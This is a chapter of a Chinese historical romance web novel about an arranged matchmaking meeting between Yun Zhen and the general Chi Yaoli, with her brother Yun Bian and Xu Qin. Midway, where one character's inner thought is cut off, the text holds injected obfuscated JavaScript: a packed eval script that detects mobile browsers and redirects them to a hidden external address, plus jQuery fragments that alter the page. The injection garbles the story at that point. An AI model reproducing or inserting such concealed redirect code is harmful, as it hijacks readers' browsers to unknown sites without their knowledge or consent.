云臻有些意外:“认识?而且还是兄弟?可你们那天……”
池遥厉端的一副体面从容,笑笑:“那天,我俩闹矛盾,我故意的。”紧接着他继续解释道:“哦,男孩子之间就是这样,比较大大咧咧的,常常不拘小节。”
云臻抬起微翘的鼻子,仰头看着池遥厉,半信半疑道:“这样吗……那他那晚没事吧?我看他那天状态明显不太好……”云臻不知不觉想起那晚师婴的状态,内心的愧疚更加浓烈。
她转而继续道:“咳咳,池公子,既然我们有缘认识,那便是老天爷眷顾。这样吧,改日你能否带我去见见那位小公子,我想郑重向他致歉。”
池遥厉薄唇微抿:喂,今日是你我相亲的日子,能不能别总提什么小公子小公子的,好歹也尊重一下我这个男方。
他无声暗自腹诽,脸上却灿然一笑:“他没事,一点小擦伤而已。姑娘不必太过愧疚。池某改日约他出来就好。”
“好!谢谢!”
云臻像是放下一块心病,状态很快变得轻松。她轻悦着步伐走到池遥厉前面,回过头来说道:“池公子,你平时接触的都是军队士兵,应该很少接触姑娘吧?不过你别拘谨,虽然我也不常接触陌生男子,不过我感觉我们应该很聊得来,加上我们已经有过一面之缘,我反正没那么紧张了,毕竟我更狼狈的样子你也见过。你觉得呢?”
我哪里看出来是拘谨了吗?
池遥厉无声反驳,他继续保持风度,微笑道:“那我多谢姑娘体贴了。不过那日街上,姑娘算不上狼狈,倒是我那位兄弟看起来更狼狈一些。”
池遥厉也没想到,自己出来相亲,结果跟对方三句话,就有两句总是想起师婴的身影。
“哎呀,不说那晚的事了。池公子,你就别叫我姑娘啦,喊我云臻就好!”云臻提裙两三步蹦上凉亭台阶。
池遥厉笑笑,不紧不慢跟在后面,跨上台阶。
云臻先是兀自找了个石凳坐下,又拍拍桌面,示意池遥厉也随便坐。
“我跟你说,你别看我是个姑娘,比起我哥,他才像个姑娘!文绉绉的,怕这怕那,连小瓢虫小老鼠他都害怕!有次他整理旧书的时候,跑出来一个小老鼠,吓得他尖叫‘啊!啊!云臻!云臻!这有老鼠啊啊啊!’,每次这种情况都是我替他解决。”
云臻挥动双臂张牙舞爪的模仿着云昪的样子,表情有些无奈又觉得好笑。
“可能每个男人都有他弱势的一面。”池遥厉保持体面坐在对面笑着,内心却在嘀咕:敢抓老鼠的姑娘,我还是头一遭见。我们衙门司的马厩里也常有老鼠,不知姑娘你方不方便……
“是吗?那池公子你也有弱势的一面?”云臻瞬间把话题丢回来,倒是把池遥厉问住了。他眉毛微挑,语气略显好奇的笑问:“我吗?嗯……目前没有发现我有什么弱势的一面。”
男人嘛,面子还是要有的,哪有在姑娘面前揭自己短的。
哪知云臻并不罢休,她双手托腮盯着池遥厉认真道:“没有吗?比如你害怕什么,你担心什么,你讨厌什么。”
害怕?担心?讨厌?
池遥厉脑海里出现的苏州姨母一家的情况。不过这几日苏州那边也没再有什么动作,姨母一家也没寄信来说什么。应该是无事安定了吧?
担心嘛……现在最担心的是胥覃,李师婴人在他那可别出什么乱子。老实说,师婴早上在衙门那一通闹后就被胥覃带走,他现在多少还是有点担心她现在情况怎么样……
池遥厉思绪沉淀中,云臻的声音再次响起:“如果很难回答的话,那只说一个,你最讨厌什么?”池遥厉长睫微闪,不假思索道:
“最讨厌给我的家人、亲人、好友带来危险的人。我想,这应该不是弱势吧。”
“当然不算。”云臻轻悦回道,“但是,难道有人带给你身边的人危险了吗?”云臻敏锐察觉到池遥厉话中的信息,一般人不会在闲聊中第一反应就就做出这么严肃的回答。
池遥厉望着云臻的目光,缓缓移向她身后的风景,脑海中师婴的脸更加清晰……她带给他麻烦,所以他讨厌她。但,对于她来说,自己又何尝不是带给她家人灭顶之灾的人呢?与其说他讨厌她,那她又如何不讨厌自己呢?
想到这里,池遥厉不禁垂眸轻笑出声。
一切都太荒谬了。
云臻看出了池遥厉对自己的不专注,托腮的手顺势将微风吹起的细发别到耳后,将话题转移:“池公子,我听云昪说了,你是将军,我很喜欢!很威武很有气魄,虽然我爹娘总让我扑在一堆书笔墨彩里,但我对马背上的世界也很向往!尤其看到像池公子你这般英姿飒爽的策马飞奔,更叫我心生羡慕!如果我是男儿身,我想我一定也会去从武!”
“如果只是偶尔骑马玩乐,其实也不是什么难事,得空,我教你便是。”
“真的吗!”云臻兴奋的坐直身体,顺势又挪了个石凳,靠近池遥厉,认真道:“那我是不是也得准备一身精练的戎装!就像那晚在街市上,你那一身黑袍铁护,再牵一匹骏马,别提有多帅了!我也想那样!”
池遥厉笑道:“回头我帮你留意一下,找一匹适合你练习骑的马,到时候托人送到你府上。”
“云臻这就谢过池公子了!”云臻兴奋的起身,恭恭敬敬的行了一礼。
忽的想起一事,池遥厉忙道:“哦,这是池某的一点心意,还望云臻姑娘不嫌弃。”差点又忘了礼物这件事,池遥厉内心无奈叹了口气,真的怀疑自己的脑子最近是怎么了。
伸手从怀里掏出包裹精致的青绒盒,推向云臻面前。
云臻当即开心拿起,小心打开,一支雕刻金凤镶有盈绿翡翠的银钗从丝绢中现出,她顿时面露悦色,正要回以感谢,忽听云昪的声音从亭外传来:“来来来,冰梨茶,我还是头一次听说有这种茶,感觉应该很不错!”
亭中二人闻声望去,胥覃云昪提着两盒茶饮正向这边走来。
“哥哥!你看!池公子送我的!好漂亮!你快看!”
云臻声音脆亮,她将银钗端至发顶,转动脚尖,轻盈的旋转起来。
金凤在阳光下闪烁,长发在身后舞动,裙摆在微风中荡漾。此时的云臻宛如一个偷偷下凡的仙女,肤白貌美又古灵精怪。鹅蛋脸庞上,细挑长眉和那恬静笑唇,又让她活泼中透着一种静美。
三个男人同时静住了,但心思各异。
云昪:哈!看我这个妹妹!够美吧!池遥厉!这不把你迷死了。
胥覃:嗯?想不到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241022|197734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平时总是追着打哥哥的女娃子也有淑女的一面?
池遥厉:真美,不知道李师婴那个假小子,穿上这么一身,会是什么样?
“哎呀!让池兄破费了!这看着也不便宜吧!池兄太客气了!”云昪率先打破平静,将冰茶放置桌面,赶忙替云臻致以感谢。
胥覃冷不丁的插言:“云臻妹妹天生丽质,气质斐然,让池兄破费也是应该的,将来他还要为你妹妹建造一座大宅子,里面还有一座漂亮的后花园,养几十上百个奴仆,隔三岔五再请一批唱曲跳舞的给云臻解解闷,每次出行,都有一排禁军在云臻左右保护。池兄家大业大的,云昪兄无需操心这些。”
他一口气说了一大堆,边说边自然落座,丝毫不在意身旁一双杀人的眼神,只从腰间取下玉扇铺开轻轻扇动起来。
“胥覃说的在理,美物该当赠与美人,云臻姑娘既然喜欢就好,云昪兄不必在意这些细节。”池遥厉收回目光,接过云昪递来的冰茶,打开小饮了一口。
云臻小心将银钗收好,抑制不住的开心复言道:“想不到池公子挑选女孩子饰物的眼光这么好,比云昪以往送我的那些漂亮多了!”说罢朝云昪吐了吐舌头。
“云臻与别家姑娘稍有不同,有时候是有些调皮难管教,还望池兄以后多多包涵。云臻,你也该约束自己了,以后就要多出来见世面了,往后可千万别太莽撞失了体面,再叫池公子笑话。”云昪进一步将两人的话题推进,同时不经意般望向池遥厉。
池遥厉面色依旧平静,笑道:“云臻姑娘清秀俊丽,自然少不了各家公子才俊为之倾慕,云昪兄实在谦虚了。只是,你这个做哥哥的怎得还没动静?回头我让家父也为你寻一家姑娘,该是成家的时候了。”
云臻当即就忘了云昪刚刚的教诲,拍了拍云昪肩膀打趣道:“哥哥~不知道等你将来见嫂子第一面的时候,你会送什么礼物呢~”
云昪闻言,尴尬一滞,正色道:“你还是别期待嫂子不嫂子了,还是期待我明年科考顺利比较现实。”
说罢又向池遥厉讪笑:“让池兄见笑了,恩师教诲了我多年,我却连考五次失败五次,现在云臻都要谈婚论嫁了,我还是个半吊子……”
云昪说着说着,方才的愉悦之色也荡然无存。
转而,他又自语道:“不过没关系!你们不用安慰我!我自己想的通,明年再考不过就踏踏实实在宰相手下做事,怎样过都是一辈子,一样可以为我大中朝效力。”
桌对面的池遥厉胥覃二人齐齐望着云昪,四人之间的空气悄然升起些许尴尬。池遥厉率先开口道:“云昪兄,这还有个半吊子呢,你别慌。咱三个也就胥覃运气好一点而已,正好那年被考神眷顾了。”
胥覃闻言,余光白了池遥厉一眼,“池兄说的对,确实是胥某运气所致,才得以顺利考过。不过云昪呐,你也不要太过在意这件事,放松点,才能发挥出你真正的实力。”
“嗯,我了解。”云昪缓缓拿起茶细细饮起。
云臻捧着茶小口啄着,眼神在三个男人脸上转来转去,感觉他们之间似有温情但又有火药味,到底是怎么回事,让她有些揣测不出。云臻默默移开目光,搞不懂。
俗话说三个女人一台戏,怎的三个男人也能凑一台?